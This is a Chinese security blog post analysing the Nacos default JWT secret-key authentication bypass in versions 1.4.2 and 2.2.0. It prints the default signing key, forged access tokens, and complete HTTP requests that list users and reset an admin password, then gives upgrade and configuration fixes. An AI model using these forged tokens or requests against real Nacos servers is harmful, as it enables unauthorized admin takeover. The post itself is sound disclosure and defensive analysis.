Alibaba Nacos JWT令牌使用默认密钥浅析

简介

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称，一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Nacos提供简单的鉴权实现，为防止业务错用的弱鉴权体系，不是防止恶意攻击的强鉴权体系。

一、漏洞原理

Nacos服务管理平台因默认密钥导致的认证绕过漏洞。在默认配置为未修改的情况下，攻击者可以构造用户 token 进入后台，导致系统被攻击与控制。许多Nacos 用户只开启了鉴权，但没有修改默认密钥，导致Nacos系统仍存在被入侵的风险。

V 1.4.2

V 2.2.0

大致讲一下相关的内容：

1、Nacos鉴权原理

Nacos 支持基于 JWT 的鉴权，JWT 是一种标准的 JSON 格式的令牌，用于在不同系统之间传递信息。Nacos 的基于 JWT 的鉴权原理和过程如下：

1. 用户登录：用户通过客户端或者浏览器向 Nacos Server 发送登录请求，Nacos Server 会验证用户提供的用户名和密码是否正确。

2. 生成 JWT：如果用户名和密码正确，Nacos Server 会生成一个 JWT，并将 JWT 返回给客户端。JWT 包含了用户的身份信息和权限信息，并使用密钥对 JWT 进行签名，以确保 JWT 的完整性和真实性。

3. 客户端请求资源：客户端在向 Nacos Server 发送请求时，需要在请求头中携带 JWT。Nacos Server 会从 JWT 中获取用户的身份信息和权限信息，并判断用户是否有权限访问请求的资源。

4. 验证 JWT：Nacos Server 会使用密钥对 JWT 进行验证，以确保 JWT 的完整性和真实性。如果 JWT 无效或已过期，则请求会被拒绝。

5. 权限控制：Nacos Server 会根据 JWT 中的用户信息，判断用户是否有权限访问请求的资源。如果用户没有权限，则请求会被拒绝。

2、JWT工作流

JWT 是一种用于身份验证和授权的标准，全称为 JSON Web Token。它是一种开放的标准（RFC 7519），可以用于在不同的应用程序和服务之间传输安全的信息。

JWT 由三部分组成：头部（Header）、载荷（Payload）和签名（Signature）。头部和载荷都是 JSON 格式的数据，签名是对头部、载荷和密钥进行计算后得到的字符串，用于验证 JWT 的真实性和完整性。

JWT 的工作流程如下：

1. 用户登录成功后，服务端生成 JWT 并将其返回给客户端。

2. 客户端在每个后续请求中将 JWT 作为 Authorization 头部的 Bearer 令牌发送到服务端。

3. 服务端验证 JWT 的签名，并解码 JWT 中的载荷，以确定用户的身份和权限。

4. 如果 JWT 签名有效，且用户有足够的权限访问请求的资源，则服务端返回请求的资源。

https://jwt.io/introduction

组成如下图所示：

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

2.1 JWT无状态登录

JWT 令牌是无状态的，服务端不需要在服务器端存储用户的身份信息，因此在服务端无法检查该 JWT 令牌是否对应一个真实存在的用户。如果攻击者使用一个不存在的用户来构造有效的 JWT 令牌，并将该令牌发送到服务端进行验证，服务端将无法检测到该用户是否真实存在，因此将会认为该令牌是有效的，并允许攻击者进行操作。

3、HS256简介

HS256 是一种基于 HMAC-SHA256 哈希算法的对称加密算法，常用于 JWT（JSON Web Token）的签名过程。

在使用 HS256 算法进行签名时，需要一个密钥（通常是一个字符串），该密钥与要签名的数据进行 HMAC-SHA256 哈希运算，生成一个固定长度的签名。在验证签名时，接收方使用相同的密钥对接收到的数据进行哈希运算，然后比较生成的签名与接收到的签名是否一致，以确定数据的完整性和可信性。

由于 HS256 算法是对称加密算法，因此密钥需要在发送方和接收方之间共享。如果密钥被泄露，攻击者可以使用它来伪造签名并篡改数据。

在Nacos<=2.2.0版本中，存在默认秘钥：

SecretKey012345678901234567890123456789012345678901234567890123456789

如下图所示，在新版本中已经将其置空，并且规定秘钥长度必须大于等于32字节，且使用base64加密。

二、漏洞利用

搭建环境后默认用户密码为nacos\nacos

accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3OTA2MTA0Nn0.sYPL3P75QHSKugOeFlztsH2V3U16OYam2C9Ua74jr6E

密码错误时的状态：

添加了一个用户，test\qqqaaazzz

1、认证伪造

1、延长时间戳，POST 密码错误，用户名正确 ✅

2、延长时间戳，POST 密码错误，用户名错误 ✅

3、删除时间戳，POST 密码错误，用户名错误 ✅

说明和POST内容无关了，任意，但是不能缺少必要字段；

搭建版本1.4.2和2.2.0，去掉exp并不会强制校验，仍可登录成功：

4、JWT鉴权，修改用户名，非用户也能认证成功 ✅

对存在默认秘钥的系统来说，可以伪造任意用户进行认证。只是除管理员权限外其他用户看不到部分内容；

2、读取用户列表

V 1.4.2

GET /v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyJ9.FAwWCYhXbMVra7WjEBMVrhYGoRU1OtNiPvHKJodj31o HTTP/1.1
Host: xxxxxxx:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: xxxxxxx:8001
Connection: close
Referer:  xxxxxxx:8001

username=nacos&password=nacos

V 2.2.0 需要增加search参数

POST方式，如果用户不存在，则直接创建用户：

3、修改用户密码

V 1.4.2

PUT /v1/auth/users?pageNo=1&pageSize=9&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg4NzgwNX0.cO3ELLBegJA-LsQ5rqttkbdliZp7p0Me-fw-Snqa8Gc HTTP/1.1
Host:  xxxxxxx:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin:  xxxxxxx:8001
Connection: close
Referer:  xxxxxxx:8001

username=nacos&newPassword=nacosa

V 2.2.0

三、漏洞修复

更新版本：

https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

缓解措施：

1、修改application.properties文件中token.secret.key属性为自定义key，可参考：https://nacos.io/zh-cn/docs/v2/guide/user/auth.html

2、将Nacos部署于内部网络环境，通过内网或VPN访问；

Y1X1n安全

时间倾斜，愿你无邪。